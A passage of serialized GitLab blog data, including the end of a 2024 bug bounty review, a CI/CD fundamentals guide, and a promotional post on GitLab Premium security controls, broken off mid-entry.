gratitude (in addition to the monetary reward, of course), we are sending our top bug bounty researchers some limited edition swag! Psst, winners, make sure to check your HackerOne emails!\n\n## Other highlights\n\nWe continued running our 90-day challenges where researchers focused on different areas of GitLab in return for an extra bug bounty bonus payout. We saw a great turnout for these, and it’s something we will look into continuing in 2025. \n\nWe also hosted another \"Ask a hacker AMA\" – this time with @ahacker1. [Read the recap blog](https://hackerone.com/ahacker1?type=user) or watch the interview:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/EPV0eNOOfv4?si=byNqXWKZzZLXfLfW\" title=\"GitLab Ask a Hacker AMA with Alexander Siyou Tan (@ahacker1)\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Looking ahead\n\nAs we move into 2025, we're excited to see the new discoveries of our bug bounty community. Your efforts continue to be a cornerstone of our security strategy, helping us build a more secure platform for developers around the world.\n\nTo all our researchers: Thank you for your hard work, creativity, and commitment to security. Here's to another year of smashing bugs!\n\n> #### Learn how to participate in the [GitLab 2025 Bug Bounty program](https://hackerone.com/gitlab?type=team).\n",[1938,674,267],{"slug":3245,"featured":6,"template":678},"gitlabs-2024-bug-bounty-year-in-review","content:en-us:blog:gitlabs-2024-bug-bounty-year-in-review.yml","Gitlabs 2024 Bug Bounty Year In Review","en-us/blog/gitlabs-2024-bug-bounty-year-in-review.yml","en-us/blog/gitlabs-2024-bug-bounty-year-in-review",{"_path":3251,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3252,"content":3259,"config":3264,"_id":3267,"_type":16,"title":3268,"_source":17,"_file":3269,"_stem":3270,"_extension":20},"/en-us/blog/overcome-ai-sprawl-with-a-value-stream-management-approach",{"title":3253,"description":3254,"ogTitle":3253,"ogDescription":3254,"config":3255,"ogImage":3256,"ogUrl":3257,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3257,"schema":3258},"Overcome AI sprawl with a Value Stream Management approach","From The Source: Learn how an AI strategy based on Value Stream Management can stop AI sprawl and supply chain constraints and drive ROI.",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665000/Blog/Hero%20Images/display-the-source-article-overcome-ai-sprawl-image-0492-1800x945-fy25.png","https://about.gitlab.com/blog/overcome-ai-sprawl-with-a-value-stream-management-approach","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Overcome AI sprawl with a Value Stream Management approach\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Stephen Walters\"}],\n        \"datePublished\": \"2025-01-06\",\n      }",{"title":3253,"description":3254,"authors":3260,"heroImage":3256,"date":3241,"body":3262,"category":962,"tags":3263},[3261],"Stephen Walters","This is a cross-over post about [overcoming AI sprawl with a Value Stream Management approach](https://about.gitlab.com/the-source/ai/overcome-ai-sprawl-with-a-value-stream-management-approach/).",[943,1444,1268],{"slug":3265,"featured":6,"template":678,"externalUrl":3266},"overcome-ai-sprawl-with-a-value-stream-management-approach","https://about.gitlab.com/the-source/ai/overcome-ai-sprawl-with-a-value-stream-management-approach/","content:en-us:blog:overcome-ai-sprawl-with-a-value-stream-management-approach.yml","Overcome Ai Sprawl With A Value Stream Management Approach","en-us/blog/overcome-ai-sprawl-with-a-value-stream-management-approach.yml","en-us/blog/overcome-ai-sprawl-with-a-value-stream-management-approach",{"_path":3272,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3273,"content":3279,"config":3284,"_id":3286,"_type":16,"title":3287,"_source":17,"_file":3288,"_stem":3289,"_extension":20},"/en-us/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation",{"title":3274,"description":3275,"ogTitle":3274,"ogDescription":3275,"noIndex":6,"ogImage":3276,"ogUrl":3277,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3277,"schema":3278},"Ultimate guide to CI/CD: Fundamentals to advanced implementation","Learn how to modernize continuous integration/continuous deployment, including automating the development, delivery, and security of pipelines.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660151/Blog/Hero%20Images/blog-image-template-1800x945__26_.png","https://about.gitlab.com/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Ultimate guide to CI/CD: Fundamentals to advanced implementation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2025-01-06\",\n      }",{"title":3274,"description":3275,"authors":3280,"heroImage":3276,"date":3241,"body":3282,"category":962,"tags":3283},[3281],"Sandra Gittlen","Continuous integration/continuous delivery ([CI/CD](https://about.gitlab.com/topics/ci-cd/)) has revolutionized how software teams create value for their users. Gone are the days of manual deployments and integration headaches — modern development demands automation, reliability, and speed.\n\nAt its core, CI/CD is about creating a seamless pipeline that takes code from a developer's environment all the way to production and incorporates feedback in real time. [CI](https://about.gitlab.com/topics/ci-cd/benefits-continuous-integration/) helps teams catch issues early — before they become costly problems — by ensuring that code changes are frequently merged into a shared repository, automatically tested, and validated. [CD](https://about.gitlab.com/topics/ci-cd/#what-is-continuous-delivery-cd) extends this by automating deployments, making releases predictable and stress-free.\n\nRather than relying on manual processes and complex toolchains for software development, teams can use a robust CI/CD pipeline to build, test, and deploy software. And AI can streamline the process even further, automatically engineering CI/CD pipelines for consistent quality, compliance, and security checks.\n\nThis guide explains modern CI/CD pipelines, from basic principles to best practices to advanced strategies. You'll also discover how leading organizations use CI/CD for impactful results. What you learn in this guide will help you scale your DevSecOps environment to develop and deliver software in an [agile](https://about.gitlab.com/topics/ci-cd/continuous-integration-agile/), automated, and efficient manner.\n\nWhat you'll learn:\n- [What is continuous integration?](#what-is-continuous-integration%3F)\n- [What is continuous delivery?](#what-is-continuous-delivery%3F)\n- [How source code management relates to CI/CD](#how-source-code-management-relates-to-cicd)\n- [The benefits of CI/CD in modern software development](#the-benefits-of-cicd-in-modern-software-development)\n  - [Key differences between CI/CD and traditional development](#key-differences-between-cicd-and-traditional-development)\n- [Understanding CI/CD fundamentals](#understanding-cicd-fundamentals)\n  - [What is a CI/CD pipeline?](#what-is-a-cicd-pipeline%3F)\n- [Best practices for CI/CD implementation and management](#best-practices-for-cicd-implementation-and-management)\n  - [CI best practices](#ci-best-practices)\n  - [CD best practices](#cd-best-practices)\n- [How to get started with CI/CD](#how-to-get-started-with-cicd)\n- [Security, compliance, and CI/CD](#security-compliance%2C-and-cicd)\n- [CI/CD and the cloud](#cicd-and-the-cloud)\n- [Advanced CI/CD](#advanced-cicd)\n  - [Reuse and automation in CI/CD](#reuse-and-automation-in-cicd)\n  - [Troubleshooting pipelines with AI](#troubleshooting-pipelines-with-ai)\n- [How to migrate to GitLab CI/CD](#how-to-migrate-to-gitlab-cicd)\n- [Lessons from leading organizations](#lessons-from-leading-organizations)\n- [CI/CD tutorials](#cicd-tutorials)\n\n## What is continuous integration?\n\n[Continuous integration](https://about.gitlab.com/topics/ci-cd/benefits-continuous-integration/) (CI) is the practice of integrating all your code changes into the main branch of a shared source code repository early and often, automatically testing changes when you commit or merge them, and automatically kicking off a build. With continuous integration, teams can identify and fix errors and security issues more easily and much earlier in the development process.\n\n## What is continuous delivery?\n[Continuous delivery](https://about.gitlab.com/topics/ci-cd/#what-is-continuous-delivery-cd) (CD) – sometimes called _continuous deployment_ – enables organizations to deploy their applications automatically, allowing more time for developers to focus on monitoring deployment status and assure success. With continuous delivery, DevSecOps teams set the criteria for code releases ahead of time and when those criteria are met and validated, the code is deployed into the production environment. This allows organizations to be more nimble and get new features into the hands of users faster. \n\n## How source code management relates to CI/CD\n\nSource code management ([SCM](https://about.gitlab.com/solutions/source-code-management/)) and CI/CD form the foundation of modern software development practices. SCM systems like [Git](https://about.gitlab.com/blog/what-is-git-the-ultimate-guide-to-gits-role-and-functionality/) provide a centralized way to track changes, manage different versions of code, and facilitate collaboration among team members. When developers work on new features or bug fixes, they create branches from the main codebase, make their changes, and then [merge them through merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/). This branching strategy allows multiple developers to work simultaneously without interfering with each other's code, while maintaining a stable main branch that always contains production-ready code.\n\nCI/CD takes the code managed by SCM systems and automatically builds, tests, and validates it whenever changes are pushed. When a developer submits their code changes, the CI/CD system automatically retrieves the latest code, combines it with the existing codebase, and runs through a series of automated checks. These typically include compiling the code, running unit tests, performing static code analysis, and checking code coverage. If any of these steps fail, the team is immediately notified, allowing them to address issues before they impact other developers or make their way to production. This tight integration between source control and continuous integration creates a feedback loop that helps maintain code quality and prevents integration problems from accumulating.\n\n## The benefits of CI/CD in modern software development\n\n[CI/CD brings transformative benefits to modern software development](https://about.gitlab.com/blog/ten-reasons-why-your-business-needs-ci-cd/) by dramatically reducing the time and risk associated with delivering new features and fixes. The continuous feedback loop gives DevSecOps teams confidence their changes are automatically validated against the entire codebase. The result is higher quality software, faster delivery times, and more frequent releases that can quickly respond to user needs and market demands.\n\nPerhaps most importantly, CI/CD fosters a culture of collaboration and transparency within software development teams. When everyone can see the status of builds, tests, and deployments in real time, it becomes easier to identify and resolve bottlenecks in the delivery process. The automation provided by CI/CD also reduces the cognitive load on developers, freeing them to focus on writing code rather than managing manual deployment processes. This leads to improved developer satisfaction and productivity, while also reducing the risk traditionally associated with the entire software release process. Teams can experiment more freely knowing rapid code reviews are part of the process and they can quickly roll back changes if needed, which encourages innovation and continuous improvement.\n\n> Get started with GitLab CI/CD. [Sign up for GitLab Ultimate](https://about.gitlab.com/free-trial/devsecops/) and try the AI-powered DevSecOps platform free for 60 days.\n\n### Key differences between CI/CD and traditional development\n\nCI/CD differs from traditional software development in many ways, including:\n\n**Frequent code commits**\n\nDevelopers often work independently and infrequently upload their code to a main codebase, causing merge conflicts and other time-consuming issues. With CI/CD, developers push commits throughout the day, ensuring that conflicts are caught early and the codebase remains up to date.\n\n**Reduced risk**\n\nLengthy testing cycles and extensive pre-release planning are hallmarks of traditional software development. This is done to minimize risk but often hinders the ability to find and fix problems. Risk is managed in CI/CD by applying small, incremental changes that are closely monitored and easily reverted.\n\n**Automated and continuous testing**\n\nIn traditional software development, testing is done once development is complete. However, this causes problems, including delayed delivery and costly bug fixes. CI/CD supports automated testing that occurs continuously throughout development, sparked by each code commit. Developers also receive feedback they can take fast action on.\n\n**Automated, repeatable, and frequent deployments**\n\nWith CI/CD, deployments are automated processes that reduce the typical stress and effort associated with big software rollouts. The same deployment process can be repeated across environments, which saves time and reduces errors and inconsistencies.\n\n## Understanding CI/CD fundamentals\n\nCI/CD serves as a framework for building scalable, maintainable delivery processes, so it's critical for DevSecOps teams to firmly grasp its core concepts. A solid understanding of CI/CD principles enables teams to adapt strategies and practices as technology evolves, rather than being tied to legacy approaches. Here are some of the basics.\n\n### What is a CI/CD pipeline?\n\nA [CI/CD pipeline](https://about.gitlab.com/topics/ci-cd/cicd-pipeline/) is a series of steps, such as build, test, and deploy, that automate and streamline the software delivery process. [Each stage serves as a quality gate](https://about.gitlab.com/blog/guide-to-ci-cd-pipelines/), ensuring that only validated code moves forward. Early stages typically handle basic checks like compilation and unit testing, while later stages may include integration testing, performance testing, compliance testing, and staged deployments to various environments.\n\nThe pipeline can be configured to require manual approvals at critical points, such as before deploying to production, while automating routine tasks and providing quick feedback to developers about the health of their changes. This structured approach ensures consistency, reduces human error, and provides a clear audit trail of how code changes move from development to production. Modern pipelines are often implemented as code, allowing them to be version controlled, tested, and maintained just like application code.\n\nThese are other terms associated with CI/CD that are important to know:\n- **Commit:** a code change\n- **Job:** instructions a runner has to execute\n- **Runner:** an agent or server that executes each job individually that can spin up or down as needed\n- **Stages:** a keyword that defines certain job stages, such as \"build\" and \"deploy.\" Jobs of the same stage are executed in parallel. Pipelines are configured using a version-controlled YAML file, `.gitlab-ci.yml`, at the root level of a project.\n\n![CI/CD pipeline diagram](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673928/Blog/Content%20Images/1690824533476.png)\n\n## Best practices for CI/CD implementation and management\n\nHow successful you are with CI/CD depends greatly on the [best practices](https://about.gitlab.com/blog/how-to-keep-up-with-ci-cd-best-practices/) you implement. \n\n#### CI best practices\n\n* Commit early, commit often.\n* Optimize pipeline stages.\n* Make builds fast and simple.\n* Use failures to improve processes.\n* Make sure the test environment mirrors production.\n\n#### CD best practices\n\n* Start where you are – you can always iterate.\n* Understand the best continuous delivery is done with minimal tools.\n* Track what’s happening so issues and merge requests don't get out of hand.\n* Streamline user acceptance testing and staging with automation.\n* Manage the release pipeline through automation.\n* Implement monitoring for visibility and efficiency. \n\n> ### Bookmark this!\n>\n>Watch our [\"Intro to CI/CD\" webinar](https://www.youtube.com/watch?v=sQ7Nw3o0izc)!\n>\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://www.youtube.com/embed/sQ7Nw3o0izc?si=3HpNqIClrc2ncr7Y\" title=\"Intro to CI/CD webinar\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## How to get started with CI/CD\n\nGetting started with CI/CD begins with identifying a simple but representative project to serve as your pilot. Choose a straightforward application with basic testing requirements, as this allows you to focus on learning the pipeline mechanics rather than dealing with complex deployment scenarios. Begin by ensuring your code is in [version control](https://about.gitlab.com/topics/version-control/) and has some [basic automated tests](https://about.gitlab.com/blog/develop-c-unit-testing-with-catch2-junit-and-gitlab-ci/) — even a few unit tests will suffice. The goal is to [create a minimal pipeline](https://about.gitlab.com/blog/how-to-learn-ci-cd-fast/) that you can gradually enhance as your understanding grows.\n\nFor GitLab specifically, the process starts with creating a `.gitlab-ci.yml` file in your project's root directory. This YAML file defines your pipeline stages (basic ones like build, test, and deploy) and jobs. A simple pipeline might look like this: The build stage compiles your code and creates artifacts, the test stage runs your unit tests, and the deploy stage pushes your application to a staging environment. GitLab will automatically detect this file and start running your pipeline whenever changes are pushed to your repository. The platform provides [built-in runners](https://docs.gitlab.com/runner/) to execute your pipeline jobs, though you can also set up your own runners for more control.\n\nAs you become comfortable with the basics, gradually add more sophisticated elements to your pipeline. This might include adding code quality checks, [security scanning](https://docs.gitlab.com/ee/user/application_security/#security-scanning), or automated deployment to production. GitLab's DevSecOps platform includes features like [compliance management](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/), [deployment variables](https://about.gitlab.com/blog/demystifying-ci-cd-variables/), and manual approval gates that you can incorporate as your pipeline matures. Pay attention to pipeline execution time and look for opportunities to run jobs in parallel where possible. Remember to add proper error handling and notifications so team members are promptly alerted of any pipeline failures. Start documenting common issues and solutions as you encounter them — this will become invaluable as your team grows.\n\n> ### Want to learn more about getting started with CI/CD? Register for a [free CI/CD course on GitLab University](https://university.gitlab.com/courses/continuous-integration-and-delivery-ci-cd-with-gitlab).\n\n## Security, compliance, and CI/CD\n\nOne of the greatest advantages of CI/CD is the ability to embed security and compliance checks early and often in the software development lifecycle. In GitLab, teams can use the `.gitlab-ci.yml` configuration to automatically trigger security scans at multiple stages, from initial code commit to production deployment. The platform's container scanning, dependency scanning, and security scanning capabilities ([Dynamic Application Security Testing](https://docs.gitlab.com/ee/user/application_security/dast/) and [Advanced SAST](https://about.gitlab.com/blog/gitlab-advanced-sast-is-now-generally-available/)) can be configured to run automatically with each code change, checking for vulnerabilities, compliance violations, and security misconfigurations. The platform's API enables integration with [external security tools](https://about.gitlab.com/blog/integrate-external-security-scanners-into-your-devsecops-workflow/), while the test coverage features ensure security tests meet required thresholds.\n\nGitLab's security test reports provide detailed information about findings, enabling quick remediation of security issues before they reach production. The Security Dashboard provides a centralized view of vulnerabilities across projects, while [security policies can be enforced](https://about.gitlab.com/blog/how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance/) through merge request approvals and pipeline gates. In addition, GitLab provides multiple layers of secrets management to protect sensitive information throughout the CI/CD process, audit logs to track access to secrets, and role-based access control (RBAC) to ensure only authorized users can view or modify sensitive configuration data.\n\nGitLab also supports software bill of materials ([SBOM](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/)) generation, providing a comprehensive inventory of all software components, dependencies, and licenses in an application and enabling teams to quickly identify and respond to vulnerabilities and comply with regulatory mandates.\n\n## CI/CD and the cloud\n\nGitLab's CI/CD platform provides robust integration with major cloud providers including [Amazon Web Services](https://about.gitlab.com/partners/technology-partners/aws/), [Google Cloud Platform](https://about.gitlab.com/blog/provision-group-runners-with-google-cloud-platform-and-gitlab-ci/), and [Microsoft Azure](https://docs.gitlab.com/ee/install/azure/), enabling teams to automate their cloud deployments directly from their pipelines. Through GitLab's cloud integrations, teams can manage cloud resources, deploy applications, and monitor cloud services all within the GitLab interface. The platform's built-in cloud deployment templates and [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) features significantly reduce the complexity of cloud deployments, allowing teams to focus on application development rather than infrastructure management. For organizations that want to automate their IT   infrastructure using GitOps, GitLab has a [Flux CD integration](https://about.gitlab.com/blog/why-did-we-choose-to-integrate-fluxcd-with-gitlab/).\n\nGitLab's cloud capabilities extend beyond basic deployment automation. The platform's [Kubernetes integration](https://about.gitlab.com/blog/kubernetes-overview-operate-cluster-data-on-the-frontend/) enables teams to manage container orchestration across multiple cloud providers, while the [cloud native GitLab installation options](https://about.gitlab.com/topics/ci-cd/cloud-native-continuous-integration/) allow the platform itself to run in cloud environments. Through GitLab's cloud-native features, teams can implement auto-scaling runners that dynamically provision cloud resources for pipeline execution, optimizing costs and performance. The platform's integration with cloud provider security services ensures that security and compliance requirements are met throughout the deployment process.\n\nFor multi-cloud environments, GitLab provides consistent workflows and tooling regardless of the underlying cloud provider. Teams can use GitLab's environment management features to handle different cloud configurations across development, staging, and production environments. The platform's [infrastructure as code](https://docs.gitlab.com/ee/user/infrastructure/iac/) support, particularly its native integration with Terraform, enables teams to version control and automate their cloud infrastructure provisioning. GitLab's monitoring and observability features integrate with cloud provider metrics, providing comprehensive visibility into application and infrastructure health across cloud environments.\n\n## Advanced CI/CD \nCI/CD has evolved far beyond simple build and deploy pipelines. In advanced implementations, CI/CD involves sophisticated orchestration of automated testing, security scanning, infrastructure provisioning, AI, and more. Here are a few advanced CI/CD strategies that can help engineering teams scale their pipelines and troubleshoot issues even as architectural complexity grows.\n\n### Reuse and automation in CI/CD\n\nGitLab is transforming how development teams create and manage CI/CD pipelines with two major innovations: the [CI/CD Catalog](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/) and [CI/CD steps](https://about.gitlab.com/blog/introducing-ci-cd-steps-a-programming-language-for-devsecops-automation/), a new programming language for DevSecOps automation currently in experimental phase. The CI/CD Catalog is a centralized platform where developers can discover, reuse, and contribute CI/CD components. Components function as reusable, single-purpose building blocks that simplify pipeline configuration — similar to Lego pieces for CI/CD workflows. Meanwhile, CI/CD steps support complex workflows by allowing developers to compose inputs and outputs for a CI/CD job. With the CI/CD Catalog and CI/CD steps, DevSecOps teams can easily standardize CI/CD and its components, simplifying the process of developing and maintaining CI/CD pipelines.\n\n> Learn more in our [CI/CD Catalog FAQ](https://about.gitlab.com/blog/faq-gitlab-ci-cd-catalog/) and [CI/CD steps documentation](https://docs.gitlab.com/ee/ci/steps/).\n\n### Troubleshooting pipelines with AI\n\nWhile CI/CD pipelines can and do break, troubleshooting the issue quickly can minimize the impact. GitLab Duo Root Cause Analysis, part of a suite of AI-powered features, removes the guesswork by [determining the root cause for a failed CI/CD pipeline](https://about.gitlab.com/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai/). When a pipeline fails, GitLab provides detailed job logs, error messages, and execution traces that show exactly where and why the failure occurred. Root Cause Analysis then uses AI to suggest a fix.\nWatch GitLab Duo Root Cause Analysis in action:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://www.youtube.com/embed/sTpSLwX5DIs?si=J6-0Bf6PtYjrHX1K\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## How to migrate to GitLab CI/CD\n\nMigrating to the DevSecOps platform and its built-in CI/CD involves a systematic approach of analyzing your existing pipeline configurations, dependencies, and deployment processes to map them to GitLab's equivalent features and syntax. Use these guides to help make the move.\n\n* [How to migrate from Bamboo to GitLab CI/CD](https://about.gitlab.com/blog/migrating-from-bamboo-to-gitlab-cicd/)\n* [Jenkins to GitLab: The ultimate guide to modernizing your CI/CD environment](https://about.gitlab.com/blog/jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment/)\n* [GitHub to GitLab migration the easy way](https://about.gitlab.com/blog/github-to-gitlab-migration-made-easy/)\n\n## Lessons from leading organizations\n\nThese leading organizations migrated to GitLab and are enjoying the myriad benefits of CI/CD. Read their stories.\n\n- [Lockheed Martin](https://about.gitlab.com/customers/lockheed-martin/)\n- [Indeed](https://about.gitlab.com/blog/how-indeed-transformed-its-ci-platform-with-gitlab/)\n- [CARFAX](https://about.gitlab.com/customers/carfax/)\n- [HackerOne](https://about.gitlab.com/customers/hackerone/)\n- [Betstudios](https://about.gitlab.com/blog/betstudios-cto-on-improving-ci-cd-capabilities-with-gitlab-premium/)\n- [Thales and Carrefour](https://about.gitlab.com/blog/how-carrefour-and-thales-are-evolving-their-ci-cd-platforms/)\n\n## CI/CD tutorials\n\nBecome a CI/CD expert with these easy-to-follow tutorials.\n\n* [Basics of CI: How to run jobs sequentially, in parallel, or out of order](https://about.gitlab.com/blog/basics-of-gitlab-ci-updated/)\n* [How to set up your first GitLab CI/CD component](https://about.gitlab.com/blog/tutorial-how-to-set-up-your-first-gitlab-ci-cd-component/)\n* [Building a GitLab CI/CD pipeline for a monorepo the easy way](https://about.gitlab.com/blog/building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way/)\n* [Using child pipelines to continuously deploy to five environments](https://about.gitlab.com/blog/using-child-pipelines-to-continuously-deploy-to-five-environments/)\n* [CI/CD automation: Maximize 'deploy freeze' impact across GitLab groups](https://about.gitlab.com/blog/ci-cd-automation-maximize-deploy-freeze-impact-across-gitlab-groups/)\n* [Refactoring a CI/CD template to a CI/CD component](https://about.gitlab.com/blog/refactoring-a-ci-cd-template-to-a-ci-cd-component/)\n* [Annotate container images with build provenance using Cosign in GitLab CI/CD](https://about.gitlab.com/blog/annotate-container-images-with-build-provenance-using-cosign-in-gitlab-ci-cd)\n\n> #### Get started with GitLab CI/CD. [Sign up for GitLab Ultimate](https://about.gitlab.com/free-trial/devsecops/) and try the AI-powered DevSecOps platform free for 60 days.",[110,943,479,696,674,695],{"slug":3285,"featured":92,"template":678},"ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation","content:en-us:blog:ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation.yml","Ultimate Guide To Ci Cd Fundamentals To Advanced Implementation","en-us/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation.yml","en-us/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation",{"_path":3291,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3292,"content":3299,"config":3305,"_id":3308,"_type":16,"title":3309,"_source":17,"_file":3310,"_stem":3311,"_extension":20},"/en-us/blog/gitlab-17-7-released",{"title":3293,"description":3294,"ogTitle":3293,"ogDescription":3294,"config":3295,"ogImage":3296,"ogUrl":3297,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3297,"schema":3298},"GitLab 17.7 released","Release includes a new Planner user role, auto-resolution policy for vulnerabilities, admin-controlled instance integration allowlists, access token rotation in the UI and much more!",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662186/Blog/Hero%20Images/product-gl17-blog-release-cover-17-7-0093-1800x945-fy25.png","https://about.gitlab.com/blog/gitlab-17-7-released","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 17.7 released\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Courtney Meddaugh\"}],\n        \"datePublished\": \"2024-12-19\",\n      }",{"title":3293,"description":3294,"authors":3300,"heroImage":3296,"date":3302,"body":3303,"category":695,"tags":3304},[3301],"Courtney Meddaugh","2024-12-19","This is the [release post for GitLab 17.7](about.gitlab.com/releases/2024/12/19/gitlab-17-7-released/).",[774,695,479],{"slug":3306,"featured":92,"template":678,"externalUrl":3307},"gitlab-17-7-released","https://about.gitlab.com/releases/2024/12/19/gitlab-17-7-released/","content:en-us:blog:gitlab-17-7-released.yml","Gitlab 17 7 Released","en-us/blog/gitlab-17-7-released.yml","en-us/blog/gitlab-17-7-released",{"_path":3313,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3314,"content":3319,"config":3325,"_id":3327,"_type":16,"title":3328,"_source":17,"_file":3329,"_stem":3330,"_extension":20},"/en-us/blog/3-signs-your-team-is-ready-to-uplevel-security-controls-in-gitlab",{"title":3315,"description":3316,"ogTitle":3315,"ogDescription":3316,"noIndex":6,"ogImage":2300,"ogUrl":3317,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3317,"schema":3318},"3 signs your team is ready to uplevel security controls in GitLab","Learn when to upgrade your GitLab security practices, from permission management to compliance adherence. Discover key features in GitLab Premium that scale with your team.","https://about.gitlab.com/blog/3-signs-your-team-is-ready-to-uplevel-security-controls-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 signs your team is ready to uplevel security controls in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Julie Griffin\"}],\n        \"datePublished\": \"2024-12-18\",\n      }",{"title":3315,"description":3316,"authors":3320,"heroImage":2300,"date":3322,"body":3323,"category":674,"tags":3324},[3321],"Julie Griffin","2024-12-18","Most teams start with basic security practices, such as branch protection and simple access controls. But, there's often a moment when teams realize they need more. It could be when they land their first enterprise client, when they start handling sensitive data, or when they experience their first security incident.\n\nIf you’re unsure whether you’re ready to upgrade your security, here are a few signs you’ve outgrown your security needs:\n\n* You spend more time managing permissions than writing code.  \n* Security reviews create development bottlenecks.  \n* You can't definitively say who changed what and when.  \n* You're unsure if security policies are consistently followed.\n\nDo any of these signs resonate with you? Let's explore how teams typically mature their security practices as they grow. \n\n## 1. Your organization requires advanced access controls.\n\nManual permission management can be tedious and prone to errors. While it’s manageable for a team of three, it becomes much more complex as your team grows to 15, 30, or 100 developers. \n\nThe disadvantages of an intricate permission system are two-fold:\n\n1. It becomes more likely that accidental or unauthorized changes are made to critical parts of the codebase.  \n2. Managing complex permissions takes time that could be spent developing valuable software for the business. \n\n### Features that automate permission management\n\nScaling teams need features that automate permission management. GitLab Premium offers enterprise-grade Agile planning features that provide [organizational hierarchies](https://about.gitlab.com/blog/best-practices-to-set-up-organizational-hierarchies-that-scale/), enabling advanced permissions management at the group or sub-group level. \n\nThis, alongside features like [Protected Branches](https://docs.gitlab.com/ee/user/project/repository/branches/protected.html) and restricted push and merge access, save growing teams time while providing an additional layer of security. \n\n## 2. You need to build a robust review process.\n\nMany teams have senior developers review security-sensitive code. However, as your codebase expands, it becomes more challenging to ensure the right people are reviewing the right changes. This can lead to an elongated review process or the release of insecure code before it’s been reviewed by the right parties. \n\nWhen you notice security reviews becoming inconsistent or creating bottlenecks, it’s time to consider solutions that give you tighter control over your merge request pipelines. \n\n### Features that enhance the review process\n\nGitLab Premium helps teams mature beyond manual processes with capabilities like [Multiple Approvers](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/) and [push rules](https://docs.gitlab.com/ee/user/project/repository/push_rules.html). These features improve your code by ensuring it’s reviewed before it is merged, preventing errors from occurring late in the development process. It also requires higher levels of authorization and verification to those who push or commit to a git branch. \n\n## 3. You need to strengthen compliance adherence.\n\nWhen your team is small, you know who is working on what projects and when deployments will occur. But, as your team grows it becomes more challenging (if not impossible) to follow all code changes and activities. It’s also easy to lose sight of security policies and whether all team members are consistently following them.\n\nThese are signs that you need tools to help you track changes and ensure code quality meets regulatory requirements. \n\n### Features that improve compliance efforts\n\nWith GitLab Premium’s [Audit Events](https://docs.gitlab.com/ee/administration/audit_event_reports.html), you can track and review changes, such as who performed certain actions at what time within the repository. At the same time, [Code Quality Reports](https://docs.gitlab.com/ee/ci/testing/code_quality.html) can check for adherence to compliance standards. This can help teams more readily prove compliance while also quickly identifying and fixing problems within the code. \n\n## Scale your security efforts with GitLab Premium \n\nIf you’re experiencing security-related growing pains as your business scales, consider upleveling your security needs before it’s too late. Empower your team with features that prioritize security and compliance, and accelerate software delivery. \n\n> #### [Upgrade to GitLab Premium today!](https://about.gitlab.com/pricing/premium/why-upgrade/)",[674,479,754],{"slug":3326,"featured":92,"template":678},"3-signs-your-team-is-ready-to-uplevel-security-controls-in-gitlab","content:en-us:blog:3-signs-your-team-is-ready-to-uplevel-security-controls-in-gitlab.yml","3 Signs Your Team Is Ready To Uplevel Security Controls In Gitlab","en-us/blog/3-signs-your-team-is-ready-to-uplevel-security-controls-in-gitlab.yml","en-us/blog/3-signs-your-team-is-ready-to-uplevel-security-controls-in-gitlab",{"_path":3332,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3333,"content":3339,"config":3343,"_id":3345,"_type":16,"title":3346,"_source":17,"_file":3347,"_stem":3348,"_extension":20},"/en-us/blog/5-gitlab-premium-features-to-help-your-team-scale",{"title":3334,"description":3335,"ogTitle":3334,"ogDescription":3335,"noIndex":6,"ogImage":3336,"ogUrl":3337,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3337,"schema":3338},"5 GitLab Premium features to help your team scale","Explore how GitLab Premium boosts team collaboration and productivity, enabling organizations to scale with streamlined workflows and advanced 